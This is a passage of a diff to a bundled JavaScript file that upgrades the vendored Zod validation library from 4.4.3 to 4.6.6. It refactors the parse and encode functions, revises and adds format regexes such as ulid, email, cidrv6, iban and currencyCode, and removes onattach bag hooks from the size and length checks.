params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -56210,39 +56535,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -56264,9 +56652,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -56274,8 +56663,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -56289,6 +56680,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -56300,6 +56692,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -56329,10 +56722,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -56344,13 +56740,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -56361,33 +56757,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -56423,13 +56824,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -56438,22 +56847,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56466,22 +56865,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56493,14 +56882,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -56519,32 +56907,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56555,7 +56935,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56568,10 +56948,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56579,10 +56959,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56595,18 +56975,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56614,10 +56988,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56630,26 +57004,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56658,26 +57024,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56686,24 +57044,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -56716,27 +57065,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56745,27 +57087,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56774,22 +57109,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -56805,14 +57132,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -56860,13 +57179,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -56885,11 +57199,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = 